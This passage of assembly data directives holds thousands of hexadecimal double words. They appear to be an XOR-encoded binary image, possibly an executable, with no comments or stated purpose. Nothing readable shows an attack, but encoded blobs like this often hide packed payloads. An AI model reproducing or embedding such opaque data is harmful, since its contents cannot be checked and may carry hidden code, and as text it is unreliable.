1C077ED0h, 43E897h, 95BF80C1h, 76BBFEh, 85604443h dd 9FC48F00h, 974080C2h, 12A80AAh, 4480A8h, 40E840h, 95BF80C1h dd 76BBFEh, 844F4045h, 408242h, 681080AAh, 4480C0h, 0E88180AAh dd 12AD7CCh, 41E890h, 95BF80C1h, 76BBFEh, 1408AA8h, 3ED57FC0h dd 0E840B6FBh, 4080C5h, 42D129h, 5940EAC0h, 0A2A8A23h dd 3BF2153Fh, 0F1AB80F6h, 5EFD0303h, 40B6FBh, 27404CFh dd 6A880C0h, 4E4080C0h, 4C0CC494h, 7AD57FC0h, 8D40B6FBh dd 36574A75h, 8D89B3C0h, 367B467Dh, 934E31C0h, 42F328h dd 0FAFD03C0h, 40B6FBh, 24004CFh, 85CB80C0h, 76BB0Ah, 8F41F03Fh dd 36776245h, 0E2C50BC0h, 0FF40B6FBh, 85CF81B0h, 76B8EFh dd 3B8E054Bh, 70BF80F6h, 36C50FC1h, 8B40B6F8h, 367B524Dh dd 0FF5A63C0h, 85CF81B1h, 76B883h, 3B9A0D4Bh, 9A380F6h dd 8F41F13Fh, 3678D045h, 1F868C0h, 0BDCD80C0h, 76BC90h dd 2A4F4Bh, 70BF5936h, 3A103C4h, 0F943C0AAh, 6A40EA97h dd 0D7F50DD8h, 0B940B6D5h, 4080D9h, 0FE0D844Dh, 66BF7F3Fh dd 4D440D6Bh, 4080C0h, 47CD2BA6h, 0E4722BC4h, 3ABC154Dh dd 66EC80F6h, 0AB268249h, 0E2424243h, 6A940B35h, 6FB0E8C0h dd 0CCCB80C0h, 0C4CB80AAh, 2880AAh, 6A4880C0h, 6A12D180h dd 95BFD0CEh, 76BB16h, 40840398h, 2F70A8h, 6A940BC0h, 6A8C0BC0h dd 6A40EA80h, 2AD2C2h, 2F70A8h, 5140EAC0h, 0FF107FAAh dd 367B5E55h, 8519DFC0h, 7C48F3Fh, 8D4080C1h, 36508075h dd 0BBC39C0h, 0EFCB80C0h, 0EDC12533h, 7690C0h, 1478054Dh dd 0E0BF80F6h, 202AD490h, 95BF7FAAh, 76BB26h, 751F4045h dd 10D68F4h, 11A880C0h, 534080C0h, 6225C4A5h, 7210E7B5h dd 6C29F6A9h, 25E7A5h, 50E6897h, 0B5BF80C0h, 76BF94h, 3B2A153Fh dd 0FF1780F6h, 367BAE55h, 6A40EAC0h, 5ED57FC2h, 0B940B6FBh dd 4081E8h, 89A1AB57h, 5714A4CCh, 3BE2153Fh, 0F67380F6h dd 3C7E2543h, 544080F6h, 0A6D57F97h, 8540B6FBh, 4626F400h dd 72447E43h, 24347F2Eh, 6A40EAC8h, 9ED57FEAh, 8540B6FBh dd 939CF400h, 450628h, 9189B3C0h, 8579BA23h, 76BCFEh, 7CC1B2B5h dd 7323A4E4h, 2834F3B2h, 0ED44141h, 541080C0h, 5011D690h dd 95BFD390h, 76BB96h, 74194045h, 24347FCFh, 3EC50FC8h dd 0E840B6FCh, 0FFBF7D05h, 2ED57F93h, 0EB40B6FBh, 2884014Eh dd 574080C1h, 3B6E153Fh, 95BF80F6h, 76BBEEh, 0FFBBE829h dd 6A1A803Fh, 6A40EAC0h, 6840EAC0h, 4480C1h, 2A444Bh, 8B4CEA90h dd 56A27F04h, 74DFB8h, 0E889B3C0h, 0FFBF7F1Ah, 1507154Dh dd 511280F6h, 95BFD091h, 76BBF2h, 0C3604443h, 18D898h dd 40AF30h, 408E9Fh, 4080C1h, 2 dup(4080C0h), 40A84Bh dd 4080C0h, 0FF13D691h, 367BBA55h, 0AC192BC0h, 0FB354044h dd 8D836E22h, 3659F155h, 95BFD2C0h, 76BB52h, 3F140549h dd 16A880F6h, 4C4080C0h, 752BEFAFh, 6932D0B0h, 652CE9B6h dd 6116E5A7h, 4125F5ACh, 95BFD0C0h, 76BBFAh, 3F180549h dd 5C8380F6h, 6533E182h, 652DE18Eh, 6A22CFA4h, 7334E3A5h dd 5334D69Ch, 34E3A5h, 7234F3ACh, 2EE5ACh, 6125F283h, 6906E5B4h dd 1E5ACh, 6125F283h, 6906E5B4h, 610DE5ACh, 6E29F0B0h dd 4340C1A7h, 7421E5B2h, 6F32D0A5h, 7333E5A3h, 72038081h dd 6534E1A5h, 6F2DE592h, 6814E5B4h, 6421E5B2h, 6532C3C0h dd 5425F4A1h, 6125F2A8h, 720380A4h, 6534E1A5h, 6C2FEF94h dd 702CE5A8h, 6E13B2F3h, 6833F0A1h, 4540F4AFh, 5434E9B8h dd 6125F2A8h, 690680A4h, 6914E5ACh, 6F14E5ADh, 7433F993h dd 6914EDA5h, 4640E5ADh, 4C25E5B2h, 6132E2A9h, 4740F9B2h dd 6906F4A5h, 7401E5ACh, 6229F2B4h, 7325F4B5h, 65078081h dd 6C29C6B4h, 7A29D3A5h, 650780A5h, 6C29C6B4h, 6D29D4A5h dd 650780A5h, 642FCDB4h, 4825ECB5h, 6C24EEA1h, 4740C1A5h dd 6514F4A5h, 6906F0ADh, 610EE5ACh, 1E5ADh, 5434E587h dd 5030EDA5h, 4128F4A1h, 7425C7C0h, 7332E596h, 2EEFA9h dd 5634E587h, 6933F2A5h, 7805EEAFh, 65078081h, 6C2FD6B4h dd 4925EDB5h, 722FE6AEh, 6934E1ADh, 1EEAFh, 6421EF8Ch dd 7222E98Ch, 4139F2A1h, 7021CDC0h, 7725E996h, 6906E68Fh dd 4F40E5ACh, 462EE5B0h, 4D25ECA9h, 6930F0A1h, 1E7AEh dd 6E25F08Fh, 632FF290h, 33F3A5h, 632FF290h, 3333F3A5h dd 7229C6F2h, 5040F4B3h, 6523EFB2h, 3273F3B3h, 7438E58Eh dd 7425D3C0h, 652CE986h, 7234F481h, 7435E2A9h, 1F3A5h dd 4634E593h, 5425ECA9h, 25EDA9h, 6525EC93h, 791380B0h dd 6D25F4B3h, 652DE994h, 6906EF94h, 6914E5ACh, 5540E5ADh dd 7021EDAEh, 7725E996h, 6906E68Fh, 5640E5ACh, 7534F2A9h dd 6C01ECA1h, 23EFACh, 7429F297h, 6C29C6A5h, 740E80A5h dd 752AE481h, 7210F4B3h, 6C29F6A9h, 7325E7A5h, 652BEF94h dd 740E80AEh, 6125F283h, 6906E5B4h, 4E40E5ACh, 6532C3B4h dd 5025F4A1h, 6523EFB2h, 4E40F3B3h, 6532C3B4h, 5025F4A1h dd 6523EFB2h, 7805F3B3h, 4334CEC0h, 7421E5B2h, 6325D3A5h dd 6E2FE9B4h, 4334CEC0h, 7421E5B2h, 6533D5A5h, 6F32D0B2h dd 7333E5A3h, 4D34CEC0h, 6916F0A1h, 660FF7A5h, 7423E593h dd 2EEFA9h, 700FF48Eh, 6906EEA5h, 4E40E5ACh, 6530CFB4h dd 6F32D0AEh, 7333E5A3h, 652BEF94h, 740E80AEh, 6E25F08Fh dd 7423E593h, 2EEFA9h, 7210F48Eh, 6325F4AFh, 7229D6B4h dd 6C21F5B4h, 6F2DE58Dh, 4E40F9B2h, 6535D1B4h, 6E09F9B2h dd 6D32EFA6h, 6F29F4A1h, 6B2FD4AEh, 4E40EEA5h, 6932D7B4h dd 6916E5B4h, 6135F4B2h, 6D25CDACh, 39F2AFh, 552CF492h dd 6F23E9AEh, 7413E5A4h, 672EE9B2h, 6E01EF94h, 7413E9B3h dd 672EE9B2h, 4113D7C0h, 7221F493h, 30F5B4h, 732FECA3h dd 632FF3A5h, 34E5ABh, 6E2EEFA3h, 34E3A5h, 6834E5A7h, 6234F3AFh dd 6D21EEB9h, 653280A5h, 7340F6A3h, 24EEA5h, 6B23EFB3h dd 4940F4A5h, 7225F4AEh, 4334E5AEh, 6533EFACh, 642EE188h dd 4940E5ACh, 7225F4AEh, 4734E5AEh, 6F03F4A5h, 6325EEAEh dd 5324E5B4h, 6534E1B4h, 742EC9C0h, 652EF2A5h, 6530CFB4h dd 4940C1AEh, 7225F4AEh, 4F34E5AEh, 552EE5B0h, 1ECB2h dd 6534EE89h, 7425EEB2h, 6421E592h, 652CE986h, 5604C1C0h dd 3309D081h, 4C04AEF2h, 6512808Ch, 6F2CC3A7h, 650BE5B3h dd 651280B9h, 6530CFA7h, 7925CBAEh dd 1F885h, 5127E592h, 7932E5B5h, 752CE196h, 4138C5A5h dd 6725D2C0h, 5634E593h, 6535ECA1h, 1F885h, 6AB6B396h dd 8B16D6C2h, 5241EA14h, 5658F23Fh, 3F18153Fh, 0C4CB80F6h dd 5016D696h, 18307F96h, 3B86153Fh, 0C4C380F6h, 882DED0h dd 0FB090DC0h, 681148EBh, 0E84080C0h, 364CC4Dh, 52A80AAh dd 6A13D091h, 508C0BC5h, 5410544Bh, 5211C0AAh, 0EED57F93h dd 8340B6FBh, 95BF8C04h, 76BB36h, 0C3484443h, 3ABC154Dh dd 0C97380F6h, 681280AAh, 7280F0h, 5111444Bh, 5110C0AAh dd 0C0C398AAh, 0E2AD4C8h, 0EAD57F90h, 8340B6FBh, 0D273A004h dd 994F4045h, 589A7702h, 578342E3h, 0C1A87FF3h, 0FBF7F3Fh dd 402544h, 0F028D0C0h, 8B4080AFh, 8B40EA14h, 6800EA0Ch dd 5080C0h, 6A1282AAh, 6FB0E8C0h, 2A80C0h, 0FF10D391h dd 367B5E55h, 0FF19DFC0h, 367BAE55h, 74BF05C0h, 7CCD0BB1h dd 0E340B6D5h, 0D50DCCh, 340B6D0h, 0FF13D711h, 0CAC50B12h dd 8D40B6FBh, 67614Fh, 0FF6B68C0h, 85CB7F3Fh, 76BB22h dd 286E0F4Dh, 1AA880C0h, 8BBF7F3Fh, 367B4E45h, 35CF0DC0h dd 0E84080E8h, 0FFBF7FC9h, 3B92054Bh, 0C0C580F6h, 8FCDA0B4h dd 40A882h, 0FFBE7428h, 0DAC50B3Fh, 8540B6FBh, 8D4BF400h dd 68CF4Fh, 0FE9F68C0h, 0C7CB7F3Fh, 0E815439Fh, 4080C0h dd 10AD019Dh, 3340B6DBh, 94C50D09h, 5140B6DEh, 5011D194h dd 95BFD191h, 76BB9Ah, 0FF648447h, 367BAE55h, 482DDC0h dd 0A8D5C0h, 5D4080C0h, 1B7F6D41h, 0FF2A80F6h, 1B4A154Dh dd 521080F6h, 64A00Dh, 0C4C380EAh, 8587E6CCh, 769B90h dd 8587A00Dh, 769B92h, 6A80E4h, 1A2A439Dh, 496898h, 42CD80C0h dd 0C9BE2AA1h, 698370B5h, 367CC855h, 8C485C0h, 95C9C2C8h dd 76BC88h, 55836237h, 408028h, 0EDC1DDC0h, 769B59h, 3C0C1D4Bh dd 7CC380F6h, 0F4088E4h, 403944h, 8AC01C0h, 544080C2h dd 4184A8h, 82D57FC0h, 8B40B6FBh, 24C40D3Ch, 4081C4h, 0E840EA90h dd 4080C4h, 12D296h, 7ED57F97h, 3340B6FBh, 4D70D09h, 514080C1h dd 5142EA91h, 2881AAh, 520080C0h, 3B0A153Fh, 85D680F6h dd 501BF436h, 144E894h, 0FF1780C0h, 260A474h, 95BF80C0h dd 76BCEAh, 74800599h, 505463D6h, 2A544Bh, 5617D192h, 3B82153Fh dd 851980F6h, 5690F500h, 3B6E153Fh, 57CD80F6h, 6A17D284h dd 97CDD884h, 4081C4h, 6A80B36Bh, 0ABB3D9D0h, 5010D090h dd 5210D090h, 3B12153Fh, 0C4C180F6h, 4082C8h, 864F43Fh dd 3C5A153Fh, 0FF1380F6h, 367C9A55h, 482DDC0h, 0A7E00C0h dd 8B0681B5h, 3655F84Dh, 8D5963C0h, 36508055h, 569183C0h dd 0C0C4523Fh, 15F08CFh, 844F80C0h, 4081D0h, 757ABE40h dd 3EC0C6D0h, 1C48FC0h, 804080C1h, 0F135A0FEh, 507E0186h dd 7507CE89h, 0C68F0B82h, 2B0F8186h, 2AD10Eh, 0FF13D691h dd 367C9255h, 0C17BD9C0h, 9F05CFh, 85CD80C0h, 769E48h dd 0C2880AAh, 504080C0h, 12D57F93h, 3D40B6FCh, 4080CCh dd 0FF05CFh, 0B1A980C0h, 814080C0h, 4912D0FEh, 0A5C58F96h dd 834080C0h, 3CEC8806h, 99C48FCDh, 3C4080C0h, 0ACB3F5E0h dd 854FBAFCh, 40804Ch, 20608D6Dh, 217DA0E0h, 7534E5A7h dd 207C2CBFh, 7EC1FCB5h, 7428A03Fh, 8131F5B4h, 3A3083BEh dd 6835AFEFh, 0BFC706h, 10FAB1CFh, 0F74080E7h, 95BFD222h dd 76BB72h, 501040F3h, 9A8D090h, 444080C0h, 6C2EF7AFh dd 24E1AFh, 3C62153Fh, 0C0C580F6h, 0C973B6B4h, 3C0C0549h dd 681180F6h, 804082C0h, 5016D191h, 3C66153Fh, 95CD80F6h dd 769B53h, 5489B390h, 5112D091h, 5AD57F91h, 8740B6FBh dd 95BFA4C4h, 76BBEEh, 8DC04338h, 7695ABh, 6A8379C1h, 0FF41EAC1h dd 4337FF3h, 0C0C5953Fh, 0DB73DAB4h, 0BF3504Bh, 8D7CD0C3h dd 365D3775h, 0CFA0BC0h, 8B4080C1h, 41884Ah, 2BB883C0h dd 0CBCBE00Bh, 74212633h, 0F5A2C7C5h, 0C7C3AE2Bh, 0CCCBD3CFh dd 50940B97h, 5100EA94h, 0FFBFEA92h, 367B6E55h, 62CD0BC0h dd 8340B6FBh, 0CF6B8C04h, 0C7476943h, 0E840EAC7h, 30F09C0h dd 460FD303h, 5201D794h, 690DDC85h, 732FF2A3h, 5C34E6AFh dd 642EE997h, 5C33F7AFh, 7232F583h, 5634EEA5h, 6933F2A5h dd 451CEEAFh, 6F2CF0B8h, 32E5B2h, 6732E194h, 6F08F4A5h dd 240F4B3h, 551080C0h, 69900FB2h, 2E24E3B2h, 6625E9BAh dd 2CF0EEh, 4B03C98Eh, 7225ECE0h, 7731E6A2h, 53158AA4h dd 6760D285h, 4E09CF8Ah, 6936A6E0h, 0A35F4B2h, 406895h dd 811D80C0h, 365E1A2Dh, 6BC546C0h, 40B6D5h, 3BC6153Fh dd 0E88180F6h, 6A7CF4DFh, 3EF50BDEh, 5940B6FBh, 756EBC6Ch dd 3EC1E6EAh, 23359D3Fh, 3C023D4Dh, 76CB80F6h, 66E5D7C2h dd 0B7C50D65h, 8F40B6F7h, 36775D45h, 46C97AC0h, 0FE0E0C3Ah dd 0E241313Bh, 0E8106B0Fh, 0FFBF7BE8h, 864FC43h, 0E804F5C4h dd 4080C8h, 2E03C693h, 0CCC84h, 3BD2153Fh, 0C04B80F6h dd 6AD38DB4h, 95BFD3C2h, 76BBFAh, 0E8D3503Fh, 0FFBF7E5Eh dd 408B28h, 4306D3C0h, 2E13CF9Fh, 0CCC84h, 3BD2153Fh, 83A880F6h dd 0E8BF7F3Eh, 0FFBF76C9h, 12920D3Fh, 0C97380F6h, 3FAC054Dh dd 511180F6h, 5110D191h, 95BFD191h, 76BB4Eh, 408B28h, 4513D5C0h dd 2E72B392h, 0CCC84h, 3BD2153Fh, 0AA880F6h, 774080C0h dd 6932F0B3h, 4126F4AEh, 95BFD0C0h, 76BBFAh, 3B020549h dd 314F80F6h, 19310D4Dh, 85C980F6h, 76BC88h, 92D57F91h dd 9340B6FBh, 4084A8h, 7EF50DC0h, 5940B6D9h, 3C6E3D4Dh dd 0C9A880F6h, 66BF7F35h, 1E210507h, 504080F6h, 1E232543h dd 8D4080F6h, 365EA155h, 6A14D0C0h, 5240EAC1h, 4082A8h dd 32D57F40h, 8540B6FCh, 2235DA00h, 1E140D4Dh, 6A1280F6h dd 61F50DC6h, 5440B6DEh, 5110D096h, 36D57F92h, 5840B6FCh dd 3C6E153Fh, 858680F6h, 76BE8Fh, 4C68C0h, 531780C0h, 330BC38Fh dd 4C04AEF2h, 95BF808Ch, 76BB52h, 47E853h, 0B5CD80C0h dd 769815h, 0FEFD0D99h, 0E840B6FBh, 0FFBF7584h, 408C28h dd 4E09D7C0h, 5405CE89h, 4C0CC4EEh, 92D57FC0h, 8540B6FBh dd 35C48F00h, 934080C2h, 4085A8h, 13F50DC0h, 5940B6D9h dd 3C5A3D4Dh, 0DA880F6h, 83BF7F35h, 367C9E7Dh, 844F80C0h dd 4082D0h, 1D06C41h, 681480C0h, 4081C1h, 3BBE153Fh, 0C4C180F6h dd 408150h, 6A940B90h, 95BFD2C0h, 76BCDEh, 75194045h, 13C8E8CDh dd 95BF80C0h, 76BB72h, 0BDC3622Bh, 769EA3h, 8D69F5C0h dd 365EE745h, 95BFD0C0h, 76BCCAh, 844F4045h, 408149h, 8B4CC04Bh dd 8F707FC0h, 365EE345h, 4FC546C0h, 140B6FEh, 12A80AAh dd 95BF82AAh, 76BCD6h, 0FBF7843h, 41E044h, 95CD13C0h, 769E9Fh dd 531290AAh, 3C46153Fh, 0C0C580F6h, 10005CFh, 0BDCD80C0h dd 769EB9h, 43A88871h, 68BF7F3Ah, 408054h, 89A6AB9Eh, 0FF14A4F4h dd 367B0A55h, 87FD0DC0h, 0B140B6DEh, 0FA6468C1h, 95CD7F3Fh dd 769EB4h, 142880AAh, 524080C0h, 12D57F93h, 8D40B6FCh dd 8D54A484h, 367F6C55h, 0B64FD0C0h, 24040BCAh, 8A041D4h dd 1241CAC2h, 4A52828Ah, 24048BC3h, 0FA100C8h, 51486001h dd 1064C4CBh, 8D10B23Fh, 367CD07Dh dd 5C68C0h, 2E6580C0h, 2E60F8F6h, 3A60AEE0h, 2E65A5E5h dd 7865F8F8h, 0A33A5E0h, 4E09CF8Ah, 0FF1780E0h, 367BC255h dd 0AC8401C0h, 6A4080C0h, 5317D0C0h, 3C52153Fh, 8DCB80F6h dd 769544h, 1BA380AAh, 514D49ABh, 408528h, 6465A6C0h, 0FF1780CAh dd 367BC255h, 0C8403C0h, 684B6B90h, 4080C7h, 1ECD3D4Dh dd 531780F6h, 3C52153Fh, 0C0C580F6h, 0B5CDD4BEh, 76BC90h dd 15C42543h, 8D4080F6h, 367ECF4Dh, 6A8EABC0h, 5316D1C0h dd 3C4E153Fh, 0F8C380F6h, 916FFEC0h, 0B5CD7E4Bh, 76BC90h dd 0AEB28D70h, 0E82090B5h, 0FFBF7AF1h, 0E357F2A1h, 1370DC9h dd 0CFCB6A2Bh, 0BDCD4EEBh, 76BC90h, 0F7C72433h, 0FF13392Bh dd 367C8255h, 6BFD00C0h, 140B6D5h, 3028AAB4h, 0FF4080B5h dd 367B3255h, 4FFD00C0h, 40B6FEh, 858791B4h, 769EA3h, 4080C0h dd 3E0F0506h, 0E94080F6h, 0FFBF7EC8h, 15340507h, 4080F6h dd 0C21D00C0h, 0A4D80C4h, 6F2EA08Fh, 6F60EEAFh, 692CA0A6h dd 2061E5A6h, 6934A08Fh, 7460E5ADh, 6523A0AFh, 7222E5ACh dd 2125F4A1h, 20608ACDh, 4F60A0E0h, 6D35F3E0h, 2032E5ADh dd 6432E1A7h, 0D61EEA5h, 6C25D2CAh, 6C34EEA5h, 6C33F3A5h dd 6128A0B9h, 2039F0B0h, 2024EEA1h, 6530F8A5h, 6E21F4A3h dd 7360ACB4h, 642EE1B4h, 3A27EEA9h, 0A4DADE0h, 6334E197h dd 672EE9A8h, 6C2CE1E0h, 7921E4E0h, 642EE1E0h, 6729EEE0h dd 206CF4A8h, 2032EFA6h, 6529F2A6h, 2033E4AEh, 6137A089h dd 0D7AF4A9h, 6528D7CAh, 6160E5B2h, 7960E5B2h, 206CF5AFh dd 6529F2A6h, 3F33E4AEh, 6D2FC3E0h, 4960A1A5h, 7329A0B4h dd 6D29F4E0h, 4960A1A5h, 2033A7B4h, 6534E1ACh, 0C7C484E1h dd 0B3A34F0h, 0A654A9C5h, 0B1BA65D0h, 3712C8E7h, 99EDC780h dd 198959A2h, 4FA71327h, 0F0729C28h, 40407EE8h, 0B641127Dh dd 0B8F3D28Ah, 19F00318h, 40806Ah, 12h dup(4080C0h), 0A5C3E0C0h dd 76BF7Ch, 0C0E503C0h, 40B6FFh, 140337CFh, 0F58D34Dh dd 346CB77h, 24040B10h, 0C02ABE4h, 427B99B2h, 8B54F3C8h dd 426B9482h, 0BCD509CCh, 8940B6FFh, 367F4045h, 83456BC0h dd 0D9A2A802h, 4442A1h, 240C0548h, 64A880F6h, 684080C0h dd 4080DFh, 2339054Dh, 391980F6h, 834CF4D8h, 0F7A28400h dd 3FDC053Fh, 0F78380F6h, 4CCD8319h, 0E340B6E4h, 0FC307FD0h dd 0E8C3804Fh, 89B662C4h, 3663F95Dh, 7A03C0h, 326B85B4h dd 8D50F2C3h, 5B187C8Eh, 7A039Eh, 32BF84B4h, 72BF832Bh dd 0FF1768D0h, 0CE6B7F3Fh, 3F800DEBh, 31880F6h, 8F83B48Bh dd 367F2045h, 9CC547C0h, 40B6FFh, 0E84080C0h, 4080FCh dd 3FDC054Bh, 0B0A880F6h, 0E8BF7F36h, 4080D8h, 3FDC3D43h dd 754080F6h, 0F5DD09C8h, 0EB40B6E3h, 9CCD7F5Ch, 0C340B6FFh dd 3FE0054Fh, 95C980F6h, 76BF5Ch, 408328h, 0C389B3C0h dd 0C0134Bh, 0E81280C0h, 0FFBF7E2Dh, 3F8015C3h, 0D64380F6h dd 4CFA43h, 14704CFh, 7AC380C0h, 844F80D0h, 40803Dh, 504CC24Bh dd 0FFBE4828h, 0C0C5833Fh, 340B6FFh, 8CAD006h, 74407940h dd 2EB900D9h, 0EB0083B4h, 1080B31h, 0DF9F6141h, 0F9C15F1Fh dd 0CCC84h, 2B196CB5h, 0FAB90308h, 0F70FCFh, 812680C0h dd 32737EB8h, 0EB05CFh, 831680C0h, 53580FAh, 0EB50CA4Bh dd 34A0BC2h, 72A8D131h, 3BF7F3Eh, 367F4075h, 0C0C52DC0h dd 844F7BB8h, 408044h, 3F80353Fh, 0E81080F6h, 0FFBF7E95h dd 3F8005C3h, 85CF80F6h, 76BF00h, 536484C3h, 33424043h dd 8F68F1Bh, 0C9C09223h, 2481D3E0h, 1C6984E4h, 244CA9E4h dd 0E9ABC09Bh, 0D74F7B41h, 3E345D7Bh, 45E87B41h, 36345BAEh dd 3B197B41h, 2E347F61h, 22967B41h, 26342C75h, 0E9D37B41h dd 1E347398h, 0E93D7B41h, 16347398h, 3F067B41h, 0E3461E5h dd 3F707B41h, 63461E5h, 3FE0153Fh, 0E91B80F6h, 0FFBF7FB1h dd 1482039Eh, 0FFBE6F29h, 6A42433Fh, 50A8D8C4h, 88BF7F35h dd 3666A655h, 31F8E6C0h, 0C0A282D8h, 0E2428324h, 62A2BA6h dd 0F5756898h, 0C2C37F3Fh, 6A9107C8h, 28A8D8C5h, 80BF7F35h dd 0B33833Ah, 8542D070h, 76A6E6h, 6A676B6Ah, 80EAD8A8h dd 1835833Ah, 8A89170h, 0B8BF7F35h, 4080C1h, 0D345244h dd 0CABE6011h, 5AB762Bh, 408078h, 0BFA22B40h, 98D50D03h dd 2B40B6F8h, 0C39A7717h, 38CB0537h, 4080F6h, 954F88C0h dd 0BA04100h, 38C90536h, 754180F6h, 894DE6C6h, 0F6536BE5h dd 36780945h, 63582C0h, 25718DA6h, 0D26842Bh, 0AB26A5C1h dd 0FFBF3C28h, 34030B3Fh, 3FF41549h, 0C3EB80F6h, 38CB0537h dd 4080F6h, 954F88C0h, 0AAFC8400h, 0FFBF1C28h, 0B8D5093Fh dd 0F640B6FFh, 36780945h, 43581C0h, 2ABB1CFh, 0C3EB40EBh dd 38CB0537h, 4080F6h, 273488C0h, 38C5054Ah, 0E08180F6h dd 8B4DE6CBh, 0B0EBE685h, 85CA2A38h, 76B845h, 55B6001h dd 6C9E4A7h, 6680B36Bh, 0B8526B6Bh, 450FA4h, 85C50A6Bh dd 440B6F8h, 18A04198h, 0FCF0436Bh, 0B826A02Bh, 0AB26802Bh dd 42A992Bh, 0F4596898h, 4CD7F3Fh, 8A04112h, 0C0C985A6h dd 3AB2BA6h, 6AEA1070h, 0A8D8C2h, 84BF7F34h, 6A72F412h dd 0F4A8D8C8h, 0FEBF7F33h, 7483F20Ah, 748A7E05h, 748A7E09h dd 748A7E1Bh, 2 dup(748A7ECCh), 0EBB930CCh, 0EBBD300Dh dd 0EBB53009h, 0EBB83005h, 0BDCD4301h, 76B858h, 38CB0537h dd 4080F6h, 33400C0h, 0F7EAE070h, 36780B45h, 4080C0h, 0B847F4C8h dd 0AC0B95h, 85B7CF6Bh, 76B84Bh, 14080C3h, 9704CFh, 0E8F080C0h dd 0BDC92B6Ah, 76BF64h, 0ABEA6870h, 3FE83D49h, 85B780F6h dd 76B84Bh, 4080C3h, 85B795B4h, 76B84Bh, 14080C0h, 0C1A885B4h dd 0B0BF7F3Eh, 8BEB2A29h, 367F2445h, 2B8F0BC0h, 0ACFD0908h dd 8940B6FFh, 67F87C88h, 0AB767FA4h, 0AB2640F3h, 38CB0537h dd 4380F6h, 0E3480C0h, 38C90536h, 74C080F6h, 0FE0268C5h dd 67F87F3Fh, 0AB6609A4h, 0AB2640F3h, 38CB0537h, 4380F6h dd 553480C0h, 38C90536h, 75C080F6h, 0FE5E68C5h, 0A4A87F3Fh dd 0B0BF7F3Dh, 0FBF668E0h, 39A37F3Fh, 15BF38A6h, 0ABD12BA6h dd 38CB154Bh, 0D2B780F6h, 434237h, 143580C0h, 0FFBDFE28h dd 0E85F303Fh, 0FFBF7B50h, 15BF38A6h, 0ABD12BA6h, 85CB4F4Bh dd 76BF6Ch, 48C948EBh, 8BC5773Ch, 340B6F8h, 744080C0h dd 8BC577EEh, 40B6F8h, 744680C0h, 8BC577E2h, 40B6F8h, 754180C0h dd 0FDB268C5h, 85B77F3Fh, 76B84Bh, 44080C0h, 0DA885B4h dd 0F7BF7F3Eh, 36780B45h, 4084C0h, 0E857F4C0h, 0FFBF7EA7h dd 0FE80A978h, 8F82B08h, 0AB44F400h, 0EBB8F578h, 85B72BA7h dd 76B84Bh, 4080C8h, 0BDC0CFB5h, 76B849h, 0E806F4C0h, 0FFBF7EFBh dd 2958A978h, 85E58A09h, 0C040B6F8h, 0A54A8324h, 76B845h dd 0AAF1306Bh, 38C9054Ah, 0B0EA80F6h, 85C58A80h, 0AA40B6F8h dd 0FDA238A6h, 38CB0537h, 5080F6h, 73480C0h, 66EAC970h dd 66BCF578h, 0AAA8306Bh, 89EB40F3h, 367F107Dh, 8BC577C0h dd 2040B6F8h, 754080C0h, 0A1830C9h, 36780345h, 0B8262AC0h dd 85B74041h, 76B84Bh, 408080h, 0C4C083B4h, 83E58AE8h dd 6640B6F8h, 94FD096Bh, 0AB40B6FFh, 38CB0537h, 4080F6h dd 935C0C0h, 8542D070h, 76B843h, 8BC5776Ah, 8040B6F8h dd 754080C0h, 0AF830CBh, 36780445h, 3DAB2AC0h, 187138A6h dd 38CB0537h, 14080F6h, 23480C0h, 0A54AA970h, 76B844h dd 0A436400h, 36780465h, 66EBE6C0h, 0F7B00178h, 36780B45h dd 4280C0h, 0B442F5C0h, 84E58A08h, 6640B6F8h, 0B0FD096Bh dd 0B840B6FFh, 40A858h, 8BC5776Bh, 840B6F8h, 744080C0h dd 0FD7168B1h, 85B77F3Fh, 76B84Bh, 4084C0h, 0B8F08BB5h dd 38C505CAh, 0EBEA80F6h, 8BC5778Dh, 40B6F8h, 754080C8h dd 83F8E6D1h, 85E58A20h, 6640B6F8h, 0AA80B36Bh, 0B826952Bh dd 0A54A98E9h, 76B845h, 0A436400h, 36780565h, 0F7EBE6C0h dd 36780B45h, 5080C0h, 81F8E6C0h, 8043F400h, 0A54A8804h dd 76B845h, 0B64F2BA6h, 36780945h, 0C0A82BC0h, 0F7BF7F3Ch dd 36780B45h, 4080C0h, 0B049F480h, 83C58290h, 0AA40B6F8h dd 38CB0537h, 204080F6h, 86F080C0h, 44482B5h, 8ABECF4Dh dd 36780365h, 98CD09C0h, 6640B6FFh, 5BC006Bh, 0F087B5h dd 40BFCF40h, 0FC39686Ah, 85B77F3Fh, 76B84Bh, 40C0C0h dd 312638A6h, 29F482B5h, 18F02BA6h, 38C505CAh, 0E08080F6h dd 54A82AC3h, 0B0BF7F3Ch, 8BC57748h, 40B6F8h, 75408040h dd 8AC630C2h, 36780365h, 80EBE6C0h, 735853Ch, 4FC08070h dd 0E8EAC03Fh, 0FFBF7CEBh, 38CB0537h, 4080F6h, 0B3580C1h dd 854AC070h, 76B843h, 664F6B6Ah, 0A800378h, 36780365h dd 0B0EBE6C0h, 85B72AC1h, 76B84Bh, 4280C0h, 85B7AFB5h dd 76B84Bh, 4480C0h, 0C0F09AB5h, 38C505CAh, 0A5CA80F6h dd 76B84Ah, 66506001h, 0ABC1E678h, 8AB8070h, 854AC070h dd 76B845h, 8BC5776Ah, 40B6F8h, 754088C0h, 83F8E6D0h, 84E58A28h dd 6640B6F8h, 0EB41306Bh, 0A0830C8h, 36780445h, 85B72AC0h dd 76B84Bh, 5080C0h, 2535F571h, 0F8C338A6h, 38C425CAh dd 0AB2680F6h, 29EA40F3h, 367F187Dh, 8BC577C0h, 40B6F8h dd 7540A0C0h, 0EB3731DFh, 9F8E6DBh, 84E58AD8h, 0C040B6F8h dd 0A54A8324h, 76B844h, 0BD692BA6h, 76BF58h, 0A5CA414Ah dd 76BF58h, 58F02BA6h, 38C305C2h, 0F7EA80F6h, 36780B45h dd 4083C0h, 0F762F4C1h, 36780B45h, 4080C0h, 0F756F5C4h dd 36780B45h, 4080C0h, 0E845F5C3h, 0FFBF7A44h, 0FFBA2B28h dd 8BC5773Fh, 40B6F8h, 744880C0h, 0AA8930C3h, 38CB0537h dd 4080F6h, 203400C0h, 856A8770h, 76B843h, 0D5A6001h, 648849h dd 38C325C2h, 0E48080F6h, 48400C3h, 0AA21306Bh, 0E0BF38A6h dd 38C325CAh, 0AB2680F6h, 38CB0537h, 6080F6h, 533480C0h dd 38CB0537h, 4080F6h, 0D34A0C0h, 434737h, 53480C0h, 0EBEA1070h dd 8B870B33h, 367F104Dh, 8981ABC0h, 58F07C81h, 38C305CAh dd 0F7EA80F6h, 36780B45h, 404080C0h, 664CF4C0h, 